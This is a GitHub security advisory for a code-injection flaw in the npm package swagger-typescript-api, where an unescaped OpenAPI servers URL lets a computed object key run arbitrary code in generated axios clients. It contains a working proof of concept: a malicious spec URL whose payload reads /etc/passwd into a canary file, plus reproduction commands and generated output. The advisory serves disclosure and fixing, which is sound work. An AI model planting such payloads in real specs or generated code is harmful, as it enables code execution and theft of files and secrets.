GitHub Advisoryadvisory · npm
GHSA-38c3-wv3c-v3xj swagger-typescript-api vulnerable to code injection via unescaped `servers[0].url` in axios http-client template
HIGH
Official page ↗
- Aliases
- CVE-2026-54661
- Ecosystem
- npm
- Packages
- swagger-typescript-api
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-1336, CWE-74, CWE-94
- Reviewed
- 2026-07-29
Affected packages
• npm swagger-typescript-api: < 13.12.2 → fixed in 13.12.2
Description
Summary
`swagger-typescript-api` interpolates `servers[0].url` directly into a TypeScript string literal inside the `HttpClient` constructor body of the generated axios client (`templates/base/http-clients/axios-http-client.ejs:71`), without any escaping. A malicious URL containing a `"` closes the string literal and exposes the surrounding *object-literal argument* of `axios.create({...})` to injection. A computed property key whose value is an IIFE executes arbitrary code every time `new HttpClient()` (or `new Api()`, which extends `HttpClient`) is constructed. The attacker controls the OpenAPI spec; the victim is any consumer of the generated client. Impact is arbitrary code execution with the importing process's privileges.
This is the *axios* sibling of the previously reported fetch-client RCE — same upstream variable (`apiConfig.baseUrl`, sourced from `servers[0].url`), same root cause class (raw `` interpolation of unescaped spec strings), different template file and different lifecycle frame (constructor body vs class-body static field). The single most maintainable fix — sanitizing `apiConfig.baseUrl` once at the source in `src/code-gen-process.ts:591` — closes both at once.
Details
`createApiConfig` in `src/code-gen-process.ts:591` sets the templated `baseUrl` from the spec without sanitization:
```ts
return {
...
baseUrl: serverUrl, // = {}) {
this.instance = axios.create({ ...axiosConfig, baseURL: axiosConfig.baseURL || "" })
...
}
```
`` is Eta's raw, unescaped interpolation. The codebase's only escape function — `escapeJSDocContent` (`src/schema-parser/schema-formatters.ts:127`) — only replaces `*/` and is not applied to this path.
The injection sits inside a JavaScript *object literal* (the argument to `axios.create({...})`), so simple statement-level injection is not directly possible — but computed property keys are. A spec value of the form:
```
URL", [(IIFE)()]: 0, dummy: "
```
produces the following object literal:
```js
axios.create({
...axiosConfig,
baseURL: axiosConfig.baseURL || "URL",
[(IIFE)()]: 0,
dummy: ""
})
```
The IIFE evaluates eagerly when the object literal is constructed — i.e. every time `new HttpClient()` runs. The trailing `dummy: ""` reopens a string that the template's own closing `"` terminates, keeping the file syntactically valid TypeScript.
Lifecycle compared to the fetch sink: the fetch template emits a class-body field initializer that fires at class-definition / module load. The axios sink emits inside the constructor and therefore fires one frame later, on `new HttpClient()`. In practice the trigger window is identical, because:
• Every README example in this repository does `const api = new Api()` at module top level.
• `Api` (in `default/api.ejs`) extends `HttpClient`, so `new Api()` invokes the `HttpClient` constructor via `super()`.
• Top-level `const api = new Api()` runs at module load — the consumer cannot import without instantiating in the documented usage pattern.
PoC
Self-contained reproducer (`run.sh` runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → instantiate → check canary). Tested on `[email protected]` and Node `v24.11.1`.
Malicious `servers[0].url` (literal string, JSON-encoded in the spec below):
```
https://api.example.com", [(async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} return 'pwned'; })()]: 0, dummy: "
```
Minimal payload spec:
```json
{
"openapi": "3.0.0",
"info": { "title": "AxiosPayloadAPI", "version": "1.0.0" },
"servers": [
{
"url": "https://api.example.com\", [(async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} return 'pwned'; })()]: 0, dummy: \""
}
],
"paths": {
"/ping": {
"get": {
"operationId": "ping",
"responses": { "200": { "description": "OK" } }
}
}
}
}
```
Steps:
```bash
npm install [email protected] esbuild axios
node -e "import('swagger-typescript-api').then(m => m.generateApi({
name: 'Api.ts', output: process.cwd() + '/out',
input: process.cwd() + '/payload-spec.json', httpClientType: 'axios'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
--external:axios --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "
const mod = await import('./out/Api.bundle.mjs');
new mod.HttpClient();
await new Promise(r => setTimeout(r, 300));
"
ls -la /tmp/sta_canary && cat /tmp/sta_canary
```
Generated `out/Api.ts` (constructor — payload, Biome-formatted):
```ts
constructor({
securityWorker,
secure,
format,
...axiosConfig
}: ApiConfig = {}) {
this.instance = axios.create({
...axiosConfig,
baseURL: axiosConfig.baseURL || "https://api.example.com",
[(async () => {
try {
const fs = await import("node:fs");
const data = fs.readFileSync("/etc/passwd", "utf8");
fs.writeFileSync("/tmp/sta_canary", data);
} catch (e) {}
return "pwned";
})()]: 0,
dummy: "",
});
this.secure = secure;
this.format = format;
this.securityWorker = securityWorker;
}
```
The `[(async () => { ... })()]: 0` is a real computed object-literal key — Biome only reformats syntactically valid TypeScript, so the multi-line indented output proves it parsed. The IIFE evaluates when the `axios.create({...})` argument is constructed (during the `HttpClient` constructor), schedules `fs.readFileSync('/etc/passwd')`, and writes the exfiltrated contents to `/tmp/sta_canary`.
Result: after `new HttpClient()`, `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (`servers[0].url: "https://api.example.com"`) generates a clean `baseURL: ... || "https://api.example.com"` and writes no canary.
Impact
Type: Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).
Affected use cases: any developer or pipeline that runs `swagger-typescript-api` with `httpClientType: "axios"` (or `--http-client axios`) against an OpenAPI spec they did not author entirely:
• `sta generate --http-client axios --url https://attacker.example/openapi.json` — a public, third-party, or attacker-hosted spec.
• A CI/CD pipeline regenerating axios-based clients from a vendor / partner spec on each build.
• A multi-tenant SaaS that generates per-tenant axios clients from tenant-supplied specs.
• Any project pinned to a spec file that a contributor can modify via PR.
Lifecycle: the injected IIFE fires when `new HttpClient()` is constructed. In the standard usage pattern (`const api = new Api()` at module top level), this is effectively at first import — `Api extends HttpClient` and the `super()` call invokes the affected constructor. A consumer cannot use the generated client without constructing it.
Privilege: the IIFE runs with the full privileges of the importing process — read any file the importer can read, write any file, exfiltrate secrets, spawn child processes, etc.
Suggested fix: sanitize `apiConfig.baseUrl` once at the source in `src/code-gen-process.ts:591`:
```ts
// in createApiConfig
baseUrl: escapeJsStringLiteral(serverUrl),
```
where `escapeJsStringLiteral` produces a properly-escaped JS string literal — at minimum escaping `"`,…
Related
Alias · CVE (1)
- CVE-2026-54661 swagger-typescript-api generates API clients for Fetch or Axios from an OpenAPI Specification. vulnerability
References
- https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-38c3-wv3c-v3xj web
- https://github.com/acacode/swagger-typescript-api/pull/1779 web
- https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de web
- https://github.com/acacode/swagger-typescript-api package
- https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2 web